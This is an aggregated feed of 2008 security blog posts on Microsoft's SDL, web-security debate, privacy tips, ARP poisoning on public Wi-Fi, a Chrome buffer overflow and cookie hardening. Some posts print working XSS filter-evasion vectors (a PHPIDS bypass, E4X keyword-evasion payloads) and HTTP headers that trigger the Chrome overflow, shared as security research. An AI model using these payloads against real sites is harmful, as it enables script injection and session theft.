CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an http:// page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full http:// page and called document.cookie, the secure cookie would be missing. This is why I needed to call an https:// page with a script src that loaded an insecure script file.

Michael Howard's Web Log

SDL Evolution

Posted: September 16th, 2008, 11:02pm CDT by michael_HOWARD

Tags: Security [edit]
UPDATED: Added IOActive post

As many of you have seen today, there's been plenty of press about us opening up the SDL for use by other software developers and releasing our threat modeling tool. For those of you who have no clue what the heck I'm talking about, here are a handful of articles about what happened today:
- Microsoft becomes high priest of secure software development (C|Net)
- Microsoft looks to spread secure software expertise (Computerworld)
- Microsoft to Share Its Secure Development Blueprint, Threat Modeling Tool (Dark Reading)
I'm not sure about the "High Priest" moniker, but what the heck :)

Cigital also blogged about the event, most notably the SDL Pro Network, and IOActive posted some comments too.

I'm really excited to see the SDL move forward and most importantly, outward. We have learned a great deal about what it takes to make steps toward securing software. We don't expect perfection, but if more people embrace some of the principles we define in the SDL, and we have experienced and knowledgable partners scale the effort, I think the IT world will be a substantially more secure place.

-Michael

CGISecurity.com: Your Web Site and Application Security Resource

Tools: Scalp - Apache log analyzer for security

Posted: September 16th, 2008, 6:44pm CDT by Robert

Tags: Security Tools [edit]

Romain Gaucher posted the following email to The Web Security Mailing List today announcing a handy tool he authored. "I remember reading here a couple of emails about how to analyze the apache log in order to look for potential attacks.Since I needed to do exactly the same few times ago,...

Justice League

Strengthening Software Security through collaboration

Posted: September 16th, 2008, 12:03pm CDT by Guest

Tags: Software Security Touchpoints [edit]

This is a guest post from Brian Mizelle, a managing principal at Cigital.

Today, Microsoft announced the launching of its SDL Pro Network. Cigital is proud to be part of this pilot offering, and pleased to continue to take the message (and the delivery) of software security to the market. As a network of independent software security professionals, the SDL Pro Network will collectively take our best of breed experiences and work collaboratively to develop unified service offerings around Microsoft’s SDL methodology.

At Cigital we are proud of our extensive experience running more than six large-scale enterprise software security initiatives spanning customers in financial services, independent software vendors, and embedded systems. We have trained several thousand developers, architects and executives on the fundamentals of software security. We have rolled out tools and best practices for many of our best customers. We have helped to grow the software security market from its infancy. Cigital is the largest and most experienced software security services provider in the world, and we look forward to continuing our market leadership through our partnership with Microsoft.

The number of firms delivering software security services is small and forms a tightly knit community, including companies of varying sizes, experience and areas of expertise. As a group, we have all read and embraced the three top software security methodologies, including CLASP from OWASP, the Touchpoints from our own CTO Dr. Gary McGraw, and of course, Microsoft’s SDL. Regardless of what flavor of methodology our customers subscribe to, we all share the common goal of educating and delivering services that protect our clients’ assets and good name through better software security. Collaborative efforts that bring together the best minds in the business can only help improve what we do with our own customers and broaden our thoughts on the subject.

Kudos to Microsoft for pulling the SDL Pro Network together. Our clients will all benefit from the experience…stay tuned to this space for more.

Dominic White's .tHE pRODUCT

Privacy Enhancing Techniques

Posted: September 15th, 2008, 2:30pm CDT

Tags: Security [edit]
Ritasha Jethva, our Privacy & Data Protection competency lead added some nice tips to a publicity piece that made it otherwise more useful than it would have been. I'm republishing them here along with some other stuff I've found of late.
You may already be a victim of identity theft if:
- Items have appeared on your bank or credit-card statements that you do not recognise.
- You've applied for medical or other benefits but are told that you are already claiming.
- You've received bills, invoices or receipts addressed to you for goods or services you never purchased.
- You've been refused a credit card or loan, despite having a good credit history.
- A mobile-phone contract has been set up in your name without your consent.
- You have received letters from lawyers or financial institutions for debts that aren't yours.
- Mail expected from key organisations the likes of your bank have not arrived, or even if you are not receiving any mail correspondence at all.
The following tips will help you protect your identity and prevent criminals from committing fraud in your name:
- Turn off extra features in any technology that you aren't using.
- Always think before you click or press a button; personal awareness is key.
- Don't throw away entire bills, receipts, credit-or debit-card slips, bank statements or even unwanted post in your name. If you do need to destroy unwanted documentation, do so using a shredder if possible.
- Keep your personal documents in a safe place, such as a lockable drawer or cabinet.
- Be vigilant around what you publish about yourself, especially on internet sites.
- If your passport, ID book or drivers licence has been lost or stolen contact the issuing organisation immediately.
- Keep your passwords safe and never record or store them in a manner which leaves them open to theft, such as in your purse or wallet.
- Check statements as soon as they arrive. If any unfamiliar transactions are listed, contact the company concerned immediately.
- Never divulge personal information via email or sms' no matter how trustworthy the request may appear to be
Then, to add some stuff I've picked up (mostly from a technical level) that has worked well:
- Give out as little information as you need to, just because they ask for your phone number on the form, doesn't mean you need to give it. Apply your intelligence to when this is appropriate, you will always need to give some people some information. Yusuf, for example has lots of fun signing into 'front-fence security' with ridiculous names that should trigger any half conscious security guards spidey sense, such as "Osama bin Laden" (he has yet to be called on it).
- You can easily pulp lots of bills by putting them in a bucket or sink with hot water and a solvent (ammonia-based cleaners work well). It is much easier than ripping up each bill into tiny bits.
- My new favourite temporary e-mail service is Guerilla Mail, especially since TemporaryInbox and Mailinator rarely have mail successfully delivered to them (likely blocked thanks to spammers). Also, keep your eyes on stuff like Jangl for a telephonic equivalent. US users can use inumbr now.
- AdBlock Plus has always been a great way to block adverts which usually try and invade your privacy in new and exciting ways, including delivering malware. However, I've recently discovered the element hiding helper extension to AdBlock, which makes quickly nuking ads placed in-line (e.g. FaceBook's ad sidebar) quick, easy and permanent.
- NoScript is pretty much standard for members of the security community, but I particularly love that I can block third party JavaScript (e.g. Google Analytics) and it's interrogations, and one click can enable it if necessary and temporarily if so wished.
- Cookie blockers are also useful. I prefer CookieSafe which operates much the same as NoScript.
- Read your e-mail in plaintext, tracking <img>'s are regularly used. It will also stop you from writing irritating and/or poorly structured mail.

Michael Howard's Web Log

GOOG Chrome's use of NX/DEP

Posted: September 15th, 2008, 9:18am CDT by michael_HOWARD

Tags: Security [edit]

Scott Hanselman has a look under Chrome's hood and how it uses the new NX/DEP APIs we added to Windows.

Scroll about halfway down the article.
Kim Cameron on GOOGs single sign on design vulnerability

Posted: September 15th, 2008, 8:25am CDT by michael_HOWARD

Tags: Security [edit]

I spoke with Kim Cameron a few days ago about Google's single sign-on (SSO) design bug. I wanted his take on the bug because he's one of the best in the area of identity, single sign-on etc etc... his response can only be described as scathing.

Billy (BK) Rios

Hostile Hotel Networks?!?!

Posted: September 15th, 2008, 4:02am CDT by xssniper

Tags: Network Security [edit]

Dark Reading recently had an interesting article related to the security of Hotel networks; you can find the article I’m talking about here.

As I read the article… I couldn’t help but smile… the article made it seem like Hotels have horribly insecure networks! The truth is, THEY DO…along with airports, coffee shops, bookstores and pretty much ANY PLACE that offers up connectivity!

Some people fail to understand that when you join ANY network, you’re trusting that everyone on the network is playing nicely. Many of the protocols that enable our network connectivity WERE NOT DESIGNED TO SECURELY SUPPORT THE SCENARIOS WE DEMAND TODAY. Take for example, Address Resolution Protocol (ARP). ARP is the one protocol that really makes me paranoid. The details of how ARP works and how it can be used to do evil is way beyond the scope of this post, but you find some good information here, here, and here.

The ARP abuses I’m most interested in are ARP Poisoning attacks. These attacks basically allow me to Man-in-the-Middle (MITM) network connections, typically from a victim’s machine to their gateway. Now ARP poisoning attacks have one MAJOR drawback (from an attacker standpoint), they typically require the victim to be on the same network as the attacker (in layman’s terms). Ask yourself this question…. why would I ever join an un-trusted network and possibly subject myself to such attacks?

Surprisingly, people join un-trusted networks all time. If you’ve ever associated to a wireless access point at a coffee shop, hotel, bookstore, or an airport…. you’ve joined an un-trusted network… IT’S THAT SIMPLE. Just because the SSID and the welcome page has a familiar name/logo that you trust, THAT DOESNT MEAN THAT YOU CAN TRUST EVERYONE ELSE CONNECTED TO THAT NETWORK, and if you can’t trust everyone connected to the network, then you’ve got yourself an un-trusted network. Now, MITM on “secure” connections (SSL aka HTTPS) usually causes a warning to appear (every major browser has this protection mechanism in place), and while I haven’t seen any studies on click through rate, I would guess that it’s pretty high.

Airports are a PRIME target for MITM, as they are typically filled with people using the available wireless access points to do business. Many of these people are not technically savvy and more importantly, THEY ARE IN A HURRY, which brings them to push past warning message after warning message in order to “get this out before my plane leaves!” If someone wanted to harvest a TON of sensitive information (creds to banking accounts, usernames, passwords, emails… everything you can possibly imagine), all they would have to do is connect to the airport wireless network, ARP poison every host they see… and let the creds roll in. It’s that simple… trust me… I’ve seen it firsthand… I can guarantee that you’ll have someone’s creds within 5 minutes…

Security pros will argue, “you can use a VPN” and they are right. If you are a corporate user, you shouldn’t even THINK about sending anything through an external, un-trusted network unless it’s through the VPN… but what about the home user? What about mom and pop, traveling on vacation… where is their VPN? Judging from the success of these attacks, even if a stern warning is presented, many users just ignore the warnings and continue on their merry way. Scores of software will silently ignore certificate warnings, happily passing information onto a suspect host. Besides, those warnings are only displayed when encryption is in play, so that unsuspecting user that is browsing their webmail over HTTP gets their session stolen without warning. It’s truly amazing how noisy our computers have become, spitting out all sorts of info… trusting that everyone else on the network is playing nicely.

Let’s say you understand the risks of MITM and you have to email something out before your plane leaves. You attempt to connect to your VPN server and you see a certificate warning. You suspect that someone may have an MITM against you using ARP Poisoning… what can you do to protect yourself and still get the email out?

Michael Howard's Web Log

Katie Moussouris joins the SDL team

Posted: September 12th, 2008, 3:06pm CDT by michael_HOWARD

Tags: Security [edit]

Dave Ladd just posted a note about Katie joing the ever-growing SDL team. For you twitter freaks out there she's @k8em0 :)

Welcome, Katie...

tssci security

Web Application Security Tomorrow

Posted: September 11th, 2008, 6:39pm CDT by dre

Tags: Security [edit]
Jeremiah Grossman wrote in the opinion section for Application security in CSO Online magazine about Web Application Security Today — Are We All Insane?

I have an opinion of my own which I would like to share with my readers. Jeremiah spreads FUD — Fear, Uncertainty, and Doubt (mostly fear) in his message. I wanted to walk through some parts of what he wrote that were especially messages of fear, particularly ones that are over-blown.

Seventeen million programmers are churning out an estimated 102 billion new lines of code per year. […] Web application exposure has reached the crisis stage because criminals have taken notice and made Web applications their primary target. There’s an old proverb that explains how to determine whether or not someone is sane. An individual is shown a river flowing into a pond. He is given a bucket and asked to drain the pond. If he walks to the stream to dam the inflow into the pond he will be considered sane. If he decides to empty the pond with his bucket without first stopping the inflow then he would be considered insane. This is analogous to today’s approach to software security, and specifically Web application security.

Many of us (including myself) know exactly where Jeremiah is going with this. However, my addition is that the purity of the water in his example is what is important — not the flood of code. We shouldn’t slow down the production of code, or put an end to it.

The techniques used by the modern cyber-criminal are truly scary. They’re backed by mafia, supported by nation states, and often even carried out by, or in conjunction with, rogue insiders. We are dealing with polymorphic malware, 100,000-computer strong botnets, drive-by-downloads, rootkits with anti-forensic capabilities conducted by adversaries who fear no U.S. law. The bad guys make certain their newest tricks are packed, encrypted, and undetectable by the most popular security products.

While some of this FUD is certainly true to a point, we don’t have any specific measurements on the reality of our situation. What Jeremiah purports as fact is merely theory, speculation, and potentially myth.

Think the payment card industry’s new regulations or the breach disclosure laws are going to save us? Neither do I, but they certainly do make a good excuse to get more budget dollars.

I’ve been having a lot of interesting conversations about compliance with my colleagues lately. It’s been indicated to me that PCI-DSS is not the only compliance standard or regualation that has a framework to enforce application security or application penetration-testing. Stranger, the “cost of a breach” isn’t the only cost of insecurity.

Marcin and I were discussing an article on Sound compliance polices, practices reduce legal costs. I had other discussions about cyber-insurance in the Security Catalyst community regarding a presentation at the recent Defcon conference from Taylor Banks and Carric on [PDF] The pentest is dead, long live the pentest! At the end of their presentation, Taylor and Carric provide a long list of cyber-insurance providers — extremely useful for anyone unaware of such a thing or looking to buy. In David Rice’s book, Geekonomics, David makes mention of AIG’s cyber-insurance offerings and how the ISAlliance and AIG provide discounts to ISAlliance members who implement security-framework controls. In other words, doing compliance “right” not only buys protection from the regulators, but it also demonstrates cost-improvements for legal and insurance activity.

Another conversation with colleague Adam Muntner discussed how “compliance readiness” is both more profitable and more enjoyable than compliance work itself. Many organziations realize that the time and effort it takes to pass any given set of criteria for an audit standard, so they prepare themselves ahead of time using experts in application risk, network penetration-testing, and application penetration-testing. What most organizations are looking for is custom-tailored advice in the form of strategy consulting, not just another fancy report that they can give to the auditors.

Compliance and breach disclose laws could possibly be the primary motivators towards spending on application security, but there is certainly more at work here. If compliance is driving application security, then what is driving compliance?

Want to rent a 10,000-computer botnet for the day? No problem. Unreported vulnerabilities (zero-days) are being researched, bought, and sold on the black market for tens or even hundreds of thousands of dollars. At the same time, when software patches are released, attackers are immediately (it is rumored, automatically) reverse-engineering them to find the flaw. Exploit code is then sent back into the wild before patches can be widely deployed by legitimate users. Large-scale patch rollouts taking only a few days seems like a great advancement until compared against exploit code ready to go in hours.

Here’s where Jeremiah’s FUD really kicks in. I don’t know where his sources are, but the factual nature of this information should definitely come into question. I have heard of one or two exploits that have been sold for US 30,000 dollars. However, this is not the norm. The rumors of automatic reverse-engineering of patches into exploits has been disproved, so why make mention of it? Even the Asprox botnet that coordinated the SQL injection attacks is over one year old — and I’m certain that a large majority of Enterprises are patched. The clear target of the malware behind the SQL injection attacks is consumers, particularly those whose Windows XP operating system has some sort of automatic update deficiency or mis-configuration.

In response to the inadequacies of first-generation Web application security measures, an entire industry has emerged beating the drum for software in the Software Development Lifecycle (SDL) and touting secure software as the cure to all our woes.

Actually, application security principles have been around for a lot longer! I think that security in the SDLC has definitely been talked about before the invention of the web. The only concepts that I’ve seen emerge from the “inadequacies of first-generation Web application security measures” that have been “beating their drums” and touting their solutions as the cure to all our woes are:
- Black-box web application security scanners (WASS)
- Web application firewalls (WAF)
Secure code review has been a concept that I’ve been aware of since OpenBSD opened their doors. Improving software development processes for both quality and security go back in the literature to the 1970’s. Unit testing, and security unit testing, are relatively new concepts — but certainly not as new as WASS or WAF!

Secure code review is a competitive sport that is different than the sales/marketing approach of security product vendors. When Theo de Raadt, a renown (some would say notorious) NetBSD core member who had an appetite for application security branched OpenBSD from NetBSD — he didn’t have it directly in mind that he and his team would scour their source code looking for security-related bugs. However, the NetBSD team provided some extra competitive eyes on the OpenBSD commits — looking especially hard on security-related bugs to embarrass Theo and crew. From this back-and-forth competitive challenge — the application security industry was really born.

Certainly, some will claim that fuzz testing was invented earlier. However, before OpenBSD — security-related bugs were found mostly by accident (while looking for something else). If they were found on purpose, like in the case of the Morris Internet worm, it was a personal matter — potentially shared by a group, but not taken on by a group, rarely even in academia.

One could claim that WASS has its roots in fuzz testing, while WAF has its roots in packet filtering or the classic network firewall. Unlike those two: security unit testing, secure code review, and white-box dynamic analysis have really not changed much over time. When I use Javascript breakpoints in FireBug, it is strikingly similar to using gdb.

In today’s world, there is an unimaginable amount of insecure code, and therefore websites, already in circulation. Just taking up the battle cry of “secure software” alone does not solve this problem. As Web 2.0 applications continue to proliferate (blogs, social networks, video sharing, mash-up websites, etc.) the problem will expand in parallel, but we also must consider the existing large financial institutions, credit unions, healthcare operators, ecommerce retailers that run mission-critical business applications online. Even our 2008 U.S. presidential candidates are having trouble securing their campaign websites against amateur attackers.

It’s interesting how Jeremiah views “secure software” as a battle cry. For many security-focused developers, this isn’t a war — it’s just a way of coding properly. Maybe he pictures that the war is “secure software vs. WASS+WAF”, which from his wallet’s perspective — might be right. I am having some issues separating application penetration-testing and general application security, but I don’t see it anywhere near as bad as the case that Jeremiah has got.

The one thing about the above paragraph that is potentially very sad is that he calls XSS bugfinders “attackers” — “amateur attackers” at that. There were no real attacks against the presidential candidates’ websites — there were just some vulnerability findings. No exploits were written or used. Jeremiah really has a way of twisting words around — maybe he should be working for one of the presidential candidates!

Application security vs. Application penetration-testing

Some of us choose to focus our efforts on penetration-testing — finding bugs in the code that can be used as an exploit. Others focus just on building the code with security in mind — to enhance security. This is an important distinction.

In a recent presentation entitled [PDF] Code Scanning: Success and Failure in the Field, Alex Stamos discussed some differences between false-positives and non-exploitables. Sure, black-box web application scanners, including SaaS vendors such as WhiteHatSec indeed find exploitable conditions. This comes at a serious cost.

Problems with black-box web application security scanners, including and especially WhiteHatSec:
1. The penetration-test runs unencrypted over the Internet, exposing not only a MITM condition, but various types of proxy and logging problems
2. Anyone in this path — present or future — may gain (potentially illegal) access to these exploits, pre-built for them, so that almost no knowledge or expertise is required on their part to run them
3. Changing an exploit so that it bypasses WASS+WAF is often trivial
4. Use of an encrypted VPN or testing on the local LAN does not settle this problem, it only protects some of the path involved
I think Jeremiah said it best himself:

The techniques used by the modern cyber-criminal are truly scary. They’re backed by mafia, supported by nation states, and often even carried out by, or in conjunction with, rogue insiders.

What I propose is that it is safer and easier to avoid the exploitability arguments. Who cares if something is exploitable or not? A better question is: how obviously secure is the code?

Advantages of security unit testing, secure code review, and white-box dynamic analysis:
1. No exploits means that no rogue insiders can steal them and give them to adversaries
2. Source code is full-knowledge. There is nothing “black-box” about it, so every software weakness and vulnerability can theoretically be found
3. These practices encourage finding security-related bugs “accidentally”, which includes new classes of vulnerabilities (often referred to as software weakness research)
Certainly, I have some ideas and products in mind when I think of true application security tools: security unit test frameworks (which don’t exist), security code review tools, and white-box dynamic analysis, or hybrid/composite analysis. However, the primary focus should be on the expertise needed to perform application security tasks, the process in place to allow individuals and teams to rise to the occasion, and guidance/governance from organizational figureheads and leaders.

It is unreasonable to expect publishers, enterprises and other site owners to restart and reprogram every website securely from scratch. Nor can we fix the hundreds of thousands (maybe millions) of custom Web application vulnerabilities one line at time.

Jeremiah thinks that developers work with source code one line at a time. They don’t. Modern developers utilize techniques such as metaprogramming, code generation, templating, and model-driven architecture. They’re programmers, why wouldn’t they write programs to help them develop other applications?!

Some web applications are so legacy, that they require re-writing from scratch — however we don’t have numbers or statistics on this amount. Also note that if Jeremiah is going to only include SSL web applications as important — than he should also include them in these numbers as well.

Developers have been using unit testing frameworks, IDE features, and processes such as iterative programming, Extreme programming, and Agile to help them refactor their applications for quite some time now. Refactoring does not require re-writing from scratch. With refactoring, developers can restructure the design of their applications by tweaking small parts of the code. Dependency injection, Aspect-oriented programming, and Attribute-oriented programming make this faster — as do general development concepts such as Design-by-contract, Test-driven development, Reflective programming, and many others. Some of these practices don’t even require use of an object-oriented language — let alone an Enteprise web application programming language such as Java Enterprise or ASP.NET.

There are numerous books on refactoring the Web, databases, and specific programming languages. Some languages have used metaprogramming to build refactoring, unit testing, TDD, and many other quality/security-control concepts into the entire framework — such as Rails for Ruby.

Our pond is actually an ocean of code in need of security defect purification and the dams in the rivers feeding it have holes requiring patches. In many ways, the state of Web application security is where we started a decade or so ago in network security when no one really patched or even had the means to do so.

I dislike how Jeremiah fails to bring this analogy back around in order to prove any point. If WASS+WAF is supposed to signify blocking the inflow of water, this neither cleans up the already dirty pond, nor does it prevent the acidic/polluted water from immediately disintegrating the wooden plug that is supposed to stop the inflow.

This approach lets us mitigate the problem now giving us breathing room to fix the code when time and budget allow. Of course there is still the option of waiting the next 10 years for the Web to be rebuilt.

If classic firewalls and virtual-patching didn’t work the first time around — what makes people think they’re going to work now?

The web does not require 10 years to be rebuilt — especially not the SSL web. It requires smart developers with metaprogramming, refactoring, and high-efficiency skills that can be focused towards security. Do not hire cowboy coders. Hire developers that can utilize and spread TDD, Design-by-contract, metaprogramming, and code generation concepts and tools throughout your organization. Hire application security experts that can work with these super-developers. Train and promote modern, secure development practices to every developer-newbie, veteran developer — and every network, application, or information security professional.

The Spanner

XSS is art

Posted: September 11th, 2008, 4:37pm CDT by Gareth Heyes

Tags: Security [edit]
I had a bet with a friend of mine David Lindsey aka Thornmaker. Basically we said the first one to get a XSS vector on phpids buys a beer at Bluehat I haven’t had much time to do this because I’ve been pretty busy but over the last few days in my spare time I’ve been slowly constructing a vector. David you owe me a beer

What is interesting about phpids is that it includes a centrifuge detection system which compares past vectors and known good inputs which enables them to detect future attacks that slip past their regular expressions. The system has greatly improved since the early days and I actually had a ton of XSS vectors which got past their expressions but not centrifuge.

So in my crazy world of XSS how can you bypass a protection like this? Well in Firefox there’s a E4X statement which I posted previously that doesn’t look like javascript syntax. e.g. :-
```
default xml namespace = statement
```
Using this method I managed to construct my vector which used this to bypass centrifuge but I had a problem, how to first get a payload and how to call that payload. Why is that a problem? Because phpids checks common injections like eval, alert etc.

I decided to try various different tricks using “this” which refers to the current window in javascript when executing from a script tag in Firefox. The methods I used worked well but the centrifuge detection was triggered when using “+” to concatenate strings.

Simple calls to ‘abc’.concat(’def’) were blocked quite easily so I needed another method. Using a && trick to bypass some of their regular expressions it was possible to call a global function by assigning it to a variable:-
```
default xml namespace=toolbar,b=1&&this.atob
```
So the default xml namespace bypasses centrifuge and the variable b is assigned to the atob function in Firefox. This is because in javascript the right side of the statement is returned not 1 when using && in this context. I could get the string eval by converting base64 and convert the string to a function using the techniques described.

All I needed now was the payload and that was obtained using the 1&& method but this time using window.name:-
```
default xml namespace=toolbar,y=1&&name
```
I had all the raw ingredients now to finish my vector which produced the final vector that looks like a work of art to me
```
default xml namespace=toolbar,b=1&&this.atob
default xml namespace=toolbar,e2=b('ZXZhbA')
default xml namespace=toolbar,e=this[toolbar,e2]
default xml namespace=toolbar,y=1&&name
default xml namespace=toolbar
default xml namespace=e(y)
```

Disenchant's Blog

Nice new SPAM Trick

Posted: September 11th, 2008, 4:57am CDT by Disenchant

Tags: Security [edit]

This morning I’ve received the following spam mail:

Hi,

I am basically interested for business reasons. I had written to you about
the offer a few days back. Perhaps you never got the mail in the first
place. Anyhow, here is the deal. I found your site
http://www.disenchant.ch/ really enchanting and would like to buy a
number of text-links on your site.

Let me know if you would like to hear more of this.

Best regards,

Susan.

OK, the idea seems to be not that bad. You have a normal crawler for e-mail addresses and if you found one, change the message of your mail by mentioning the domain name. I think many people will notice this and think that it can’t be a spam mail because there’s a specific part in in which is not correct for most people. Also the name of the sender at the end of the mail is interesting because it’s Susan and the sender’s e-mail address was susan.[a last name]@gmail.com. This means, that also this seems to be correct and I think that many people will answer to this mail.

PS: Of course it’s also possible that it’s not a spam but then the company behind it will become bankrupt very soon

CGISecurity.com: Your Web Site and Application Security Resource

Microsoft IE8 and Google Chrome - Processes are the New Threads

Posted: September 10th, 2008, 7:20pm CDT by Robert

Tags: Security Tools [edit]

"I happened to install Google Chrome (Alpha) the same day I installed Internet Explorer 8 (Beta). I noticed immediately, as I'm sure many of you have, that both browsers isolate tabs in different processes. Unix folks have known about the flexibility of forking a process forever. In Unix, fork() is just...
Samurai Web Testing Framework

Posted: September 10th, 2008, 7:16pm CDT by Robert

Tags: Security Tools [edit]

" As live CD's have become more popular, specialized distributions have begun to emerge. One such specialty live CD is Samurai, a distribution squarely focused on web application penetration and vulnerability testing. Samurai is dubbed a "web testing framework" in much the same way that Metasploit is termed a framework. Samurai...

Dominic White's .tHE pRODUCT

CISSP Networks & Telecomms Domain Presentation

Posted: September 10th, 2008, 5:50am CDT

Tags: Security [edit]

Here's a set of training slides I put together for the CISSP networks & telecomms (domain 7) component. I'm using these to present to the InfoSec Group of Africa CISSP study group. I'm not a CISSP, but I know networks. While half the content is mine, the other half is stolen from many many places. It was all done in a hurry too. If you can improve them and promise to send changes back, I'll send you the source.

Larholm.com

Long time no see, hello Chrome

Posted: September 9th, 2008, 2:17pm CDT by Thor Larholm

Tags: Security [edit]

Well it’s been a long time since I last wrote any entries here. What, almost a year.. time flies by when you’re having fun especially when you’re working a lot.

Just wanted to give a quick heads-up that I will start posting again. And what better way to celebrate that than by expanding on that buffer overflow which SVRT-Bkis found this friday.

The overflow is triggered by an overly long TITLE tag, which is later used by SaveFileAsWithFilter as a suggested file name.

The actual overflow is triggered in file_util_win.cc, here’s a snippet:

std::wstring GetDirectoryFromPath(const std::wstring& path) {

wchar_t path_buffer[MAX_PATH];

wchar_t* file_ptr = NULL;

if (GetFullPathName(path.c_str(), MAX_PATH, path_buffer, &file_ptr) == 0)

The current Proof-of-Concept exploit requires social engineering and manual interaction from the user in order to be triggered.

However, the GetDirectoryFromPath function is also being used elsewhere, and one of those places is in download_manager.cc, here’s a snippet:

void DownloadManager::CheckIfSuggestedPathExists(DownloadCreateInfo* info) {
DCHECK(info);

// Check writability of the suggested path. If we can’t write to it, default
// to the user’s “My Documents” directory. We’ll prompt them in this case.
std::wstring path = file_util::GetDirectoryFromPath(info->suggested_path);

This code is automatically called whenever Chrome initiates a file download. The suggested_path in the DownloadCreateInfo struct can be based on different inputs, such as the URL itself. It can also be based on more specific information which will take precedence, such as the one we can specify in a Content-Disposition HTTP header. Therefor, we can automatically trigger the buffer overflow with the following HTTP headers:

Content-Type: application/x-zip-compressed
Content-Disposition: attachment; filename=”$overflowingstringiscontainedwithinthesequotes$”

With that I will go back to enjoying my Laphroaig

UPDATE:

I reported this to the Chromium project as Issue 1980.
They have confirmed that this is now fixed in Google Chrome 0.2.149.29.

Billy (BK) Rios

Simple Lesson on Secure Cookies

Posted: September 9th, 2008, 4:05am CDT by xssniper

Tags: Security [edit]

I recently read a paper written by Sandro Gauci from Enable Security entitled “Surf Jacking – HTTPS will not save you”. You can find the paper here.

It’s an interesting read and extremely relevant to today’s web applications. The heart of the paper describes some simple tricks to force a session cookie to be sent over a non encrypted channel. These tricks are possible if the secure flag isn’t set for the session cookie. These types of attacks have been discussed before. Side Jacking is probably the most well known (and most widely used) attack against leaked cookies.

<RANT> It bugs me that we’re still dealing with issues like this. Despite having a simple and effective means to ensure that session cookies are only sent over secure channels, application owners choose to ignore the secure (and HTTPONLY) flag when developing their applications. Later, as the application matures, developers find that their application has taken a significant dependency on this insecure behavior and what was once a simple fix now becomes a huge design change (which equals $$$). The true victim’s to these poor security decisions are the users who are left scratching their heads when their accounts get pwnd while using the WiFi at Joes Coffee shop. </RANT>

I believe the secure flag is symbolic of the current state of web application security… the countermeasures to the issues we are facing are known, simple, and effective… yet we continue to struggle on wide scale implementation because we’ve taken dependencies on insecure behavior. SSL certs are another great example of this. Every major browser has a way to bypass the security provided by SSL certs. Browsers MUST offer this bypass because if they didn’t, it would break the web… but i digress.

There is a bright spot when it comes to the protecting cookies. Cookies are stored and protected by the browser (as any decent web app hacker should know!). So, when an application server issues a “SET-COOKIE” header, it’s merely a recommendation as to how the browser should use the cookie. Each cookie is maintained by the browser and all the flags (secure, path, domain, httponly, expires…etc) associated with cookies are enforced ENTIRELY by the browser. So, if an application server sets a cookie WITHOUT the secure flag, I can tell my browser to disregard the servers recommendation and add the secure flag which ensures that the cookie will only be sent over secure channels. This is really simple stuff, so seasoned web app hackers can stop here. Everyone else can continue reading.

I’ve set up a page on here that simply sets a cookie in the following manner:

Set-Cookie: XSSniper=BKRios; expires=CURRENTDATE

Examining the Cookie in FireFox shows the following:

As you can see, we have a cookie named XSSNIPER and the SECURE flag was NOT set by the server. In fact, my server will NEVER set the secure flag for the XSSNIPER cookie. Now if I want to force my browser to enforce the secure flag for the XSSNIPER cookie, I can do so by entering the following Javascript into address bar.

javascript:var cookies=unescape(document.cookie);var split=cookies.split(";");for (i = 0; i <split.length;i++){document.cookie=split[i]+";expires=Thu,1-Jan-1970 00:00:00 GMT;";document.cookie=split[i]+";secure;"}document.location="http://xs-sniper.com/blog";

The Javascript above expires all of the current cookies (only on the client side, if you had a session established with the server it would still be maintained) and sets every cookie for the current domain to secure. I realize the Javascript is pretty ghetto, this should ideally be handled by application, but we could also use a browser plugin with a nice UI and fine grained control over each cookie attribute… Hmmmm a tool to prevent Surf/Side Jacking attacks… I wonder what I would call it… Any ideas Nate?

After we run the Javascript, we can take another look at the Cookie info presented by Firefox:

As you can see, the cookie will only be sent over encrypted connections and the cookie now expires at the end of the session (no more persistence). We’ve turned the XSSNIPER cookie into a SECURE cookie, despite the fact that the server never specified this behavior.

Now, this approach does have it cons… Servers typically recommend a particular cookie setting because the application was designed to work/anticipate/depend on those characteristics. This will probably break some application functionality, but broken functionality will show you exactly where your cookie would have been leaked

The Spanner

0800 scam

Posted: September 8th, 2008, 2:54pm CDT by Gareth Heyes

Tags: Security [edit]

I got a phone call today from a 0800 number. What was strange was they hung up when I answered, being the paranoid that I am I suspected it was a scam. Sure enough a quick search of Google found the number and describes that it redirects to a 0845 number. A description of scam can be found here

The company involved is called “LBM 0800 scammers” which looks like IBM when in the URL (probably intended). I can’t believe that some businesses have a business model that involves tactics like this.

My advice is to never call back a number unless you check and verify that it is a number you recognise.
E4X for hackers

Posted: September 7th, 2008, 3:19pm CDT by Gareth Heyes

Tags: Security [edit]
If you’ve not been following my sla.ckers thread on unusual javascript then your missing out. My idea was to gather interesting, weird and wonderful javascript tricks which are useful for filter evasion and coding. I investigated E4X quite a lot for this purpose and found a few cool things that I’ll share with you.
Using {} for keyword evasion
Lets say a filter disallows certain words, because the {} allows you to execute a javascript block; if you execute a block that returns a blank string then you can use it for keyword evasion. The new array constructor creates a blank array but when used in concatenation it results in a blank string.
```
location=<text>javascr{new Array}ipt:aler{new Array}t(1)</text>
```
Another example:-
```
location=<text>javascr{[]}ipt:aler{[]}t(1)</text>
```
A few more:-
```
<>{new String}</>;
<>{''}</>;
<>{new RegExp()[-1]}</>;
<>{<></>}</>;
```
Weird syntax fun
E4X also has some javascript syntax quirks that normally would cause a parsing error but it’s perfectly valid.
```
default xml namespace = alert(1)
```
Some more weird looking stuff:-
```
<>{eval(/alert(1)/[-1])}</>..@*::xyz
```
```
 (!1..@*::abc?alert:1..@*::xyz)(1)
```
Numbers as E4X
For some reason numbers can be used as XML
```
1..@Numbers/(are=1)%1..*::xml
```
Encoding with entities
Giorgio brought this to my attention when he was hacking my unsuccessful Firefox sandbox experiment. You can use html entities and they will be decoded when using the XML data as strings.
```
alert(<>&quot;</>)
```
A more interesting example with decimal entities:-
```
eval(<>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;</>+[])
```
Hackvertor supports morphs which allow you to generate this sort of data automatically, useful for fuzzing XSS filters:-
E4X morph
Form creation
Making forms with E4X is lovely, check it out:-
```
f=<form/>;
f.@id='x';
f.@action='url.php';
f.@method='post';
f.input.@name='h'
f.input.@value=1;
document.body.innerHTML=f;
document.getElementById('x').submit();
```

Billy (BK) Rios

IE8b2 XSS Filter

Posted: September 4th, 2008, 1:05am CDT by xssniper

Tags: Web Application Security [edit]

